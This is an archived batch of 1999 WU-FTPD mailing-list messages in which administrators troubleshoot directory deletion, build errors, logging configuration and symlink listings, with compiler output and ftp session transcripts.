by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA29360
for <[email protected]>; Tue, 16 Mar 1999 13:41:34 -0600 (CST)
Received: from swedishchef.alpha1.net (IDENT:[email protected] [208.224.192.10])
by mail.alpha1.net (8.9.1a/8.9.1) with ESMTP id NAA08568;
Tue, 16 Mar 1999 13:41:00 -0600
Message-Id: <[email protected]>
Date: Tue, 16 Mar 1999 13:41:38 -0600 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Marius Strom <[email protected]>
To: Rob Genovesi <[email protected]>
Cc: [email protected]
Subject: Re: delete dirs
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I believe that WU-FTPD is a "smart" client in the fact that it will go
into that directory and trash the files and any subdirectories in the same
fashion before deleting the directory specified.

--
Marius Strom - [email protected]
Computer Geek/Telecommunications Engineering Student
Unix System Administrator, Alpha1 Internet (http://www.alpha1.net)
Texas A&M University (http://www.tamu.edu)

On Tue, 16 Mar 1999, Rob Genovesi wrote:

> Is there a way to allow users to delete non-empty directories? Currently a
> directory must be completely empty before it can be removed. Under our
> previous ftp server (stock Solaris ftpd) an ftp client such as WS-FTP could
> remove a non-empty directory.
>
> I am assuming, of course, that the ftp user has proper permissions to the
> directory and all files within.
>
> Current using: Version wu-2.4.2-academ[BETA-18-VR12](1)
> On: Sun Solaris 2.5.1
>
>
> Thanks,
>
> Rob Genovesi
> [email protected]
>

From [email protected] Tue Mar 16 13:55:24 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA02029;
Tue, 16 Mar 1999 13:55:23 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA32030;
Tue, 16 Mar 1999 13:49:07 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA00735
for <[email protected]>; Tue, 16 Mar 1999 13:43:23 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id OAA05274;
Tue, 16 Mar 1999 14:43:17 -0500
Message-Id: <[email protected]>
Date: Tue, 16 Mar 1999 14:43:17 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Rob Genovesi <[email protected]>
Cc: [email protected]
Subject: Re: delete dirs
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Tue, 16 Mar 1999, Rob Genovesi wrote:

> Is there a way to allow users to delete non-empty directories?
> Currently a directory must be completely empty before it can be
> removed. Under our previous ftp server (stock Solaris ftpd) an ftp
> client such as WS-FTP could remove a non-empty directory.

No.

Retest to ensure the client was truely issuing a single DELE command,
naming the non-empty directory. If so, submmit the bug report to Sun so
they can get it fixed in a future version.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Tue Mar 16 14:09:03 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id OAA02260;
Tue, 16 Mar 1999 14:09:02 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA17610;
Tue, 16 Mar 1999 14:03:31 -0600 (CST)
Received: from mail.midmon.com ([email protected] [207.238.211.3])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id OAA09726
for <[email protected]>; Tue, 16 Mar 1999 14:00:58 -0600 (CST)
Received: from pjs (pjs.midmon.com [207.238.211.49])
by mail.midmon.com (8.8.7/8.8.7) with SMTP id OAA32025;
Tue, 16 Mar 1999 14:57:18 -0500
Message-Id: <[email protected]>
Date: Tue, 16 Mar 1999 15:02:04 -0500
Reply-To: [email protected]
Sender: [email protected]
From: Patrick Shoaf <[email protected]>
To: [email protected], [email protected]
Subject: Re: Problem compiling 2.4.2 Final on Linux
In-Reply-To: <[email protected]>
References: <[email protected]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

At 07:22 PM 3/16/99 +0000, you wrote:
>
>I start to think that you forgot to install a package, like a complete gcc
>setup.
>
I checked...
INSTALLED NOT INSTALLED
gcc-2.7.2.3-14.i386.rpm
glib-1.06.6-3.i386.rpm
glibc-2.0.7-29.i386.rpm
glibc-debug-2.0.7-29.i386.rpm
glibc-devel-2.0.7-29.i386.rpm
glibc-profile-2.0.7-29.i386.rpm

I just installed the uninstalled items, and am trying to compile
again....different errors were reported...reporting problem with
"bison"...(not installed)...trying compile again...different errors, see
output from "./build lnx >err 2>err2" below...I may need to check and
install some other rpm's....ANY IDEAS????

==================ERR=======================
make args are :
make opts are :
Linking Makefiles.
Making support library.
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -c strcasestr.c
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -c authuser.c
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -c snprintf.c
rm -f libsupport.a
ar cq libsupport.a strcasestr.o authuser.o snprintf.o
ranlib libsupport.a
Making ftpd.
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -c ftpd.c -o ftpd.o
bison -y ftpcmd.y
mv -f y.tab.c ftpcmd.c
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -c ftpcmd.c -o ftpcmd.o
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -c glob.c -o glob.o
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -c logwtmp.c -o logwtmp.o
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -c popen.c -o popen.o
sh newvers.sh
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -c vers.c
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -c access.c -o access.o
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -c extensions.c -o extensions.o
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -c realpath.c -o realpath.o
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -c acl.c -o acl.o
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -c private.c -o private.o
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -c authenticate.c -o authenticate.o
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -c conversions.c -o conversions.o
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -c hostacc.c -o hostacc.o
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -c sigfix.c -o sigfix.o
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -o ftpd ftpd.o ftpcmd.o glob.o
logwtmp.o popen.o vers.o access.o extensions.o realpath.o acl.o private.o
authenticate.o conversions.o hostacc.o sigfix.o -lsupport -lcrypt
Making ftpcount.
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -o ftpcount ftpcount.c vers.o
-lsupport -lcrypt
Making ftpshut.
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -o ftpshut ftpshut.c vers.o
-lsupport -lcrypt
Making ckconfig.
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -o ckconfig ckconfig.c
Links to executables are in bin directory:
text data bss dec hex filename
88169 2744 2152 93065 16b89 bin/ckconfigDone

=======================ERR2============================
ftpd.c: In function `dataconn':
ftpd.c:2463: warning: passing arg 5 of `select' from incompatible pointer type
ftpd.c: In function `initsetproctitle':
ftpd.c:3839: warning: assignment makes pointer from integer without a cast
popen.o: In function `ftpd_popen':
popen.o(.text+0xce): undefined reference to `___strtok'
popen.o(.text+0x13b): undefined reference to `___strtok'
access.o: In function `hostmatch':
access.o(.text+0x296): undefined reference to `___strtok'
access.o(.text+0x306): undefined reference to `___strtok'
access.o(.text+0x332): undefined reference to `___strtok'
access.o(.text+0x39f): more undefined references to `___strtok' follow
make: *** [ftpd] Error 1
/tmp/cca040861.o: In function `acl_getlimit':
/tmp/cca040861.o(.text+0x239): undefined reference to `___strtok'
/tmp/cca040861.o(.text+0x2a8): undefined reference to `___strtok'
/tmp/cca040861.o(.text+0x2ae): undefined reference to `___strtok'
/tmp/cca040861.o(.text+0x31b): undefined reference to `___strtok'
/tmp/cca040861.o(.text+0x34b): undefined reference to `___strtok'
/tmp/cca040861.o(.text+0x3b8): more undefined references to `___strtok' follow
make: *** [ftpcount] Error 1
/tmp/cca040971.o: In function `main':
/tmp/cca040971.o(.text+0x459): undefined reference to `___strtok'
/tmp/cca040971.o(.text+0x4c8): undefined reference to `___strtok'
/tmp/cca040971.o(.text+0x4ce): undefined reference to `___strtok'
/tmp/cca040971.o(.text+0x53b): undefined reference to `___strtok'
make: *** [ftpshut] Error 1
size: bin/ftpd: No such file or directory
size: bin/ftpcount: No such file or directory
size: bin/ftpshut: No such file or directorysize: bin/ftpwho: No such file
or directory

Patrick J. Shoaf, Systems Engineer
<mailto:[email protected]>[email protected]

A & S Enterprises
449 Knox Ave
Monessen, PA 15062-1532
Phone: 724-684-8270 or 888-638-6963 in PA only
Fax: 724-684-8274
Check out our web site at http://www.midmon.com
or you can e-mail us at <mailto:[email protected]>[email protected]

From [email protected] Tue Mar 16 14:15:45 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id OAA02406;
Tue, 16 Mar 1999 14:15:44 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA25131;
Tue, 16 Mar 1999 14:10:42 -0600 (CST)
Received: from neo.ZONE.NET (neo.zone.net [198.240.0.2])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id OAA03727
for <[email protected]>; Tue, 16 Mar 1999 14:10:23 -0600 (CST)
Received: from localhost (jan@localhost) by neo.ZONE.NET (8.8.8/970824) with SMTP id PAA13677; Tue, 16 Mar 1999 15:10:08 -0500 (EST)
Message-Id: <[email protected]>
Date: Tue, 16 Mar 1999 15:10:08 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Jan Simek <[email protected]>
To: Gregory A Lundberg <[email protected]>
Cc: James McMahon <[email protected]>,
WU-FTPD Discussion List <[email protected]>
Subject: Re: not logging at all?
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hi Gregory,

wu-ftpd is using the ftpaccess file I want it to use... I did your trick
with the message file...

here's the ckconfig output:

==================================================================
nero:/usr/local/src/ftp/wu-ftpd/bin$ ckconfig
Checking _PATH_FTPUSERS :: /etc/ftpusers
ok.

Checking _PATH_FTPACCESS :: /etc/ftpaccess
ok.

Checking _PATH_PIDNAMES :: /var/adm/ftp.pids-%s
ok.

Checking _PATH_CVT :: /etc/ftpconversions
ok.

Checking _PATH_XFERLOG :: /var/adm/xferlog
ok.

Checking _PATH_PRIVATE :: /etc/ftpgroups
I can't find it... look in doc/examples for an example.
You only need this if you want SITE GROUP and SITE GPASS
functionality. If you do, you will need to edit the example.

Checking _PATH_FTPHOSTS :: /etc/ftphosts
ok.
nero:/usr/local/src/ftp/wu-ftpd/bin$
==================================================================

> On Tue, 16 Mar 1999, Jan Simek wrote:
>
> > (I still keep getting entries into xferlog, not any other...)
> >
> > I have compiled wu-ftpd with DEBUG and VIRTUAL flags. I have restarted
> > syslogd.
>
> Check that you're using the ftpaccess file you think you are.
>
> First, run ckconfig (in the bin directory when you compiled the daemon).
> It'll tell you the name of the file that the daemon is using.
>
> Second, I like to make a subtle change to the ftpaccess file and check
> that I see the effect between ftp sessions. since I run the VR version, I
> use the greeting clause .. it's quick and most people don't bother to look
> at whether the daemon is giving its version number up there.
>
> --
>
> Gregory A Lundberg Senior Partner, VRnet Company
> 1441 Elmdale Drive [email protected]
> Kettering, OH 45409-1615 USA 1-800-809-2195

--Jan

From [email protected] Tue Mar 16 14:22:15 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id OAA02534;
Tue, 16 Mar 1999 14:22:15 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA11031;
Tue, 16 Mar 1999 14:17:06 -0600 (CST)
Received: from poseidon.coastside.net (poseidon.coastside.net [207.213.212.5])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id OAA08617
for <[email protected]>; Tue, 16 Mar 1999 14:13:28 -0600 (CST)
Received: from jeep.coastside.net (jeep.coastside.net [207.213.212.249])
by poseidon.coastside.net (8.8.8/8.8.8) with SMTP id MAA04822;
Tue, 16 Mar 1999 12:14:32 -0800 (PST)
Message-Id: <[email protected]>
Date: Tue, 16 Mar 1999 12:13:39 -0800
Reply-To: [email protected]
Sender: [email protected]
From: Rob Genovesi <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Re: delete dirs
In-Reply-To: <[email protected]>
References: <[email protected]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

At 02:43 PM 3/16/99 -0500, Gregory A Lundberg wrote:
>On Tue, 16 Mar 1999, Rob Genovesi wrote:
>
>> Is there a way to allow users to delete non-empty directories?
>> Currently a directory must be completely empty before it can be
>> removed. Under our previous ftp server (stock Solaris ftpd) an ftp
>> client such as WS-FTP could remove a non-empty directory.
>
>No.
>
>Retest to ensure the client was truely issuing a single DELE command,
>naming the non-empty directory. If so, submmit the bug report to Sun so
>they can get it fixed in a future version.
>
>--

This outta teach me to test more thouroughly before crying wolf. It is a
client side issue (of course, you all knew that already). WS-FTP does not
allow deletion of a non-empty directory but Fetch (Mac) does, but
recursively remove the contents of the directory then deleting the
directory itself.

Thanks to all for the quick response.

-R

From [email protected] Tue Mar 16 14:54:43 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id OAA02956;
Tue, 16 Mar 1999 14:54:42 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA15278;
Tue, 16 Mar 1999 14:49:27 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id OAA09044
for <[email protected]>; Tue, 16 Mar 1999 14:44:53 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id PAA05768;
Tue, 16 Mar 1999 15:44:28 -0500
Message-Id: <[email protected]>
Date: Tue, 16 Mar 1999 15:44:27 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Jan Simek <[email protected]>
Cc: James McMahon <[email protected]>,
WU-FTPD Discussion List <[email protected]>
Subject: Re: not logging at all?
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Tue, 16 Mar 1999, Jan Simek wrote:

> Checking _PATH_FTPACCESS :: /etc/ftpaccess
> ok.

As I understand it, the following are all true:

- tested and verified this is the ftpaccess file being used

- the following line appears in ftpaccess
log transfers real,anonymous,guest inbound,outbound

- command line has -a -i -o options

- inetd was killed -HUP (or system rebooted) since inetd.conf was last
changed

> Checking _PATH_XFERLOG :: /var/adm/xferlog
> ok.

Therefore this file should record transfers UNLESS you have the following
line in ftpaccess:
log syslog
or use the -X option, either of which tells the daemon to ignore xferlog
and send the lines to the syslog

--

log security real,anonymous,guest
and
log commands real,guest

tell the daemon to log additional information to the system log (syslog).
the -l option tells the daemon to log basic conneciton information. -L is
the same as 'log commands' for all users.

for these, and for 'log syslog' you need to ensure the daemon.* messages
are sent somewhere. you'll need to kill -HUP syslogd to reread
syslog.conf if you change it.

also, any ftp daemons running may not log after the -HUP of syslogd; so be
sure you're testing with a fresh execution (ie, if running standalone,
kill the ftp daemon and restart it) .. this isn't an issue when running
from inetd and testing with a fresh command-line ftp session.

--

I've never tried compiling with DEBUG specified, or using the -d or -v
command line options, so I can't say what (if anything) they do. I use
VIRTUAL all the time with no trouble. I doubt either of these has any
effect, though.

--

>From everything you've said, it should work. I'm stumped. There's
probably something obvious I'm missing, but I just don't see it.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Tue Mar 16 14:57:24 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id OAA03021;
Tue, 16 Mar 1999 14:57:23 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA11488;
Tue, 16 Mar 1999 14:52:07 -0600 (CST)
Received: from smtp1.xs4all.nl (smtp1.xs4all.nl [194.109.6.51])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id OAA24573
for <[email protected]>; Tue, 16 Mar 1999 14:47:12 -0600 (CST)
Received: from grobbebol.xs4all.nl (grobbebol.xs4all.nl [194.109.14.68])
by smtp1.xs4all.nl (8.8.8/8.8.8) with ESMTP id VAA29047;
Tue, 16 Mar 1999 21:46:40 +0100 (CET)
Received: (from bengel@localhost)
by grobbebol.xs4all.nl (8.9.1/8.9.1) id UAA02745;
Tue, 16 Mar 1999 20:44:23 GMT
Message-Id: <[email protected]>
Date: Tue, 16 Mar 1999 20:44:23 +0000 (GMT)
Reply-To: [email protected]
Sender: [email protected]
From: "Roeland Th. Jansen" <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Re: Problem compiling 2.4.2 Final on Linux
In-Reply-To: <[email protected]> from Patrick Shoaf at "Mar 16, 1999 03:02:04 pm"
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Mailer: ELM [version 2.4ME+ PL53 (25)]
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

> I just installed the uninstalled items, and am trying to compile

I assume the devel package has caused your start of compiling problems. for
the part :

> again....different errors were reported...reporting problem with
> "bison"...(not installed)...trying compile again...different errors, see

install bison and retry. if it still fails, post the failed messages.

--
Grobbebol's Home | Don't give in to spammers. -o)
MCSE: Must Consult Someone Experienced | Use your real e-mail address /\
Linux 2.2.3 on an i586/64 MB | on Usenet. _\_v

From [email protected] Tue Mar 16 15:13:51 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id PAA03322;
Tue, 16 Mar 1999 15:13:50 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id PAA08722;
Tue, 16 Mar 1999 15:08:31 -0600 (CST)
Received: from neo.ZONE.NET (neo.zone.net [198.240.0.2])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id PAA15912
for <[email protected]>; Tue, 16 Mar 1999 15:05:32 -0600 (CST)
Received: from localhost (jan@localhost) by neo.ZONE.NET (8.8.8/970824) with SMTP id QAA15551; Tue, 16 Mar 1999 16:05:23 -0500 (EST)
Message-Id: <[email protected]>
Date: Tue, 16 Mar 1999 16:05:22 -0500 (EST)
Reply-To: Jan Simek <[email protected]>
Sender: [email protected]
From: Jan Simek <[email protected]>
To: Gregory A Lundberg <[email protected]>
Cc: James McMahon <[email protected]>,
WU-FTPD Discussion List <[email protected]>
Subject: Re: not logging at all?
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hi Gregory,

everything you've listed is correct.

> > Checking _PATH_XFERLOG :: /var/adm/xferlog
> > ok.
>
> Therefore this file should record transfers UNLESS you have the following
> line in ftpaccess:
> log syslog
> or use the -X option, either of which tells the daemon to ignore xferlog
> and send the lines to the syslog

hmm... as I said, the xferlog is the only file that gets something, it
records all the transfers well. Now -- it seems strange to me, that even
if I put the line

log syslog

in the ftpaccess file (and the deamon reads it; checked with your "message
trick"), I still get all the transfers logged into the xferlog file and
nothing goes to syslog....

Any ideas?

--Jan

P.S.: Perhaps there's something wrong with the syslog... how do I make
wu-ftpd log all the logs by itself?

From [email protected] Tue Mar 16 15:20:44 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id PAA03462;
Tue, 16 Mar 1999 15:20:44 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id PAA16005;
Tue, 16 Mar 1999 15:15:00 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id PAA30189
for <[email protected]>; Tue, 16 Mar 1999 15:09:50 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id QAA06058;
Tue, 16 Mar 1999 16:09:31 -0500
Message-Id: <[email protected]>
Date: Tue, 16 Mar 1999 16:09:31 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: "Randall S. Winchester" <[email protected]>
Cc: [email protected]
Subject: Re: Problems with current Bero and VR code.
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Tue, 16 Mar 1999, Randall S. Winchester wrote:

> SYST is only allowed after check_login(). This breaks "RapidFiler
> (sp?)" which tries to autodetect the type of system before login. This
> is a NetWare thing, that I have recieved reports from. My fix was to
> take that restriction back out of ftpcmd.y.

bug report this to "RapidFiler (sp?)" and or Netware. Their client is
non-compliant.

RFC959
4.1.1. ACCESS CONTROL COMMANDS
USER NAME (USER)

This command will normally be the first command transmitted by the
user after the control connections are made (some servers may require
this).

The WU-FTPD-VR server requries USER to be the first command by refusing to
allow any other commands until after a Login Sequence has been completed.
BeroFTPD allows HOST before USER in support of the ftp-wg proposed draft.
ISTM the proposed draft makes this requirement even more stringent.

SYST before USER is non-compliant and the client should be corrected.

> LOG_FAILED can log users passwords. The feature is enabled by default.

Noted. I'll change it in a future VR version. (Personally, I think any
admin who leaves his log files unsecured deserves what he gets.)

> MAPPING_CHDIR works well unless you try and "dir <path>" where path is
> a symlink. This is the frequent case with automounted homes. It is
> common for /homes/$USER to be a symlink to
> /somewhere/over/the/rainbow/$USER. When you run "dir /homes/rsw" (in
> my case) you do not get the expected result. I have had reported
> problems with with a number of PC ftp programs that do just this, and
> fail in various ways, including not being able to upload files. (The
> programs run the offending command as part of there internal
> "protocal"). My fix was to change ls_long and ls_short in ftpd.c to
> also include the "-L" flag to "ls".

Solaris? Not SunOS? I've been chasing a problem recently on SunOS which
may related to this kind of odd behavior. What I'm finding is Sun's NFS
system is pretty buggy. Are you using NFS? If so, try changing the
#define HAVE_GETCWD in src/config/config.sol to an #undef and rebuilding
the daemon. On SunOS this fixed all kinds of odd things even when NFS
wasn't being used.

Did the -L flag fix everything? (I find it hard to believe it would.) If
so, can you think about that this is telling us about MAPPING_CHDIR and
send me some details of what it did before which was wrong and now that
it's right?

General note to readers: Please remember 'dir <path>' means nothing to us.
Some clients use NLST, others use LIST .. if you don't indicate which is
being used there's not much can be done to help you.

In this case, you're talking about changing ls_long and ls_short, so you
must be talking about the LIST command. Without that hint I'd have no
handle on where to look for your issues.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Tue Mar 16 16:44:57 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id QAA04589;
Tue, 16 Mar 1999 16:44:56 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id QAA01263;
Tue, 16 Mar 1999 16:39:34 -0600 (CST)
Received: from atlantis.csc.umd.edu (atlantis.csc.umd.edu [129.2.8.129])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id QAA29158
for <[email protected]>; Tue, 16 Mar 1999 16:33:00 -0600 (CST)
Received: from atlantis.csc.umd.edu (localhost [127.0.0.1])
by atlantis.csc.umd.edu (8.9.3/8.9.3) with SMTP id RAA25960;
Tue, 16 Mar 1999 17:32:59 -0500 (EST)
Received: from localhost by atlantis.csc.umd.edu (8.9.3/8.9.3) with ESMTP id RAA25956;
Tue, 16 Mar 1999 17:32:58 -0500 (EST)
Message-Id: <[email protected]>
Date: Tue, 16 Mar 1999 17:32:58 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: "Randall S. Winchester" <[email protected]>
To: Gregory A Lundberg <[email protected]>
Cc: [email protected]
Subject: Re: Problems with current Bero and VR code.
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Sender: [email protected]
X-Authentication-Warning: atlantis.csc.umd.edu: rsw owned process doing -bs
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Tue, 16 Mar 1999, Gregory A Lundberg wrote:

: On Tue, 16 Mar 1999, Randall S. Winchester wrote:
:
: > MAPPING_CHDIR works well unless you try and "dir <path>" where path is
: > a symlink. This is the frequent case with automounted homes. It is
: > common for /homes/$USER to be a symlink to
: > /somewhere/over/the/rainbow/$USER. When you run "dir /homes/rsw" (in
: > my case) you do not get the expected result. I have had reported
: > problems with with a number of PC ftp programs that do just this, and
: > fail in various ways, including not being able to upload files. (The
: > programs run the offending command as part of there internal
: > "protocal"). My fix was to change ls_long and ls_short in ftpd.c to
: > also include the "-L" flag to "ls".
:
: Solaris? Not SunOS? I've been chasing a problem recently on SunOS which
: may related to this kind of odd behavior. What I'm finding is Sun's NFS
: system is pretty buggy. Are you using NFS? If so, try changing the
: #define HAVE_GETCWD in src/config/config.sol to an #undef and rebuilding
: the daemon. On SunOS this fixed all kinds of odd things even when NFS
: wasn't being used.
:
: Did the -L flag fix everything? (I find it hard to believe it would.) If
: so, can you think about that this is telling us about MAPPING_CHDIR and
: send me some details of what it did before which was wrong and now that
: it's right?

Original code:

ftp> pwd
---> PWD
257 "/homes/lwinc" is current directory.
ftp> dir /homes/lwinc
---> PORT 129,2,8,129,223,9
200 PORT command successful.
---> LIST /homes/lwinc
150 Opening ASCII mode data connection for /bin/ls.
lrwxrwxrwx 1 root wheel 39 Mar 16 16:57 /homes/lwinc ->
/afs/glue.umd.edu/home/elves/lwinc/home

With the added -L flag:

ftp> pwd
---> PWD
257 "/homes/lwinc" is current directory.
ftp> dir /homes/lwinc
---> PORT 129,2,8,129,223,13
200 PORT command successful.
---> LIST /homes/lwinc
150 Opening ASCII mode data connection for /bin/ls.
total 1050
drwxr-xr-x 10 lwinc daemon 4096 Oct 27 15:11 .
drwxr-xr-x 7 root daemon 2048 Sep 23 07:55 ..
-rw------- 1 lwinc 33536 218 Feb 5 1998 .Xauthority
[....snip....]
drwx------ 2 lwinc staff 2048 Nov 4 1994 mail
226 Transfer complete.
remote: /homes/lwinc
4002 bytes received in 2.4 seconds (1.7 Kbytes/s)

Now a "LIST" with no arguments works, but I did some packet sniffing to
determine the some GUI clients call "LIST <path>. In fact I saw this
happening as a precursor to a RETR. Getting the symlink back confused the
gui so it failed the transfer.

: Solaris? Not SunOS? I've been chasing a problem recently on SunOS which
: may related to this kind of odd behavior. What I'm finding is Sun's NFS
: system is pretty buggy. Are you using NFS? If so, try changing the
: #define HAVE_GETCWD in src/config/config.sol to an #undef and rebuilding
: the daemon. On SunOS this fixed all kinds of odd things even when NFS
: wasn't being used.

